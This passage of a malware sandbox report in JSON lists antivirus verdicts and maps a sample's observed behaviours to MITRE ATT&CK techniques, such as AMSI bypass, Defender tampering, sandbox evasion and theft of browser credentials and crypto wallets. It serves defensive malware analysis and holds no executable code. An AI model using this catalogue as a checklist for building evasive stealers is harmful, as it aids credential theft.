ttps://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_60%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Command line contains PowerShell"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Able to access control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"suspicious","value":"Detected dllhost.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Detected XOR operators (encryption/decryption)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"malicious","value":"Checks for files associated with bitcoin mining software"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"suspicious","value":"Retrieves Steam settings information from registry"},{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"malicious","value":"Contacts multiple 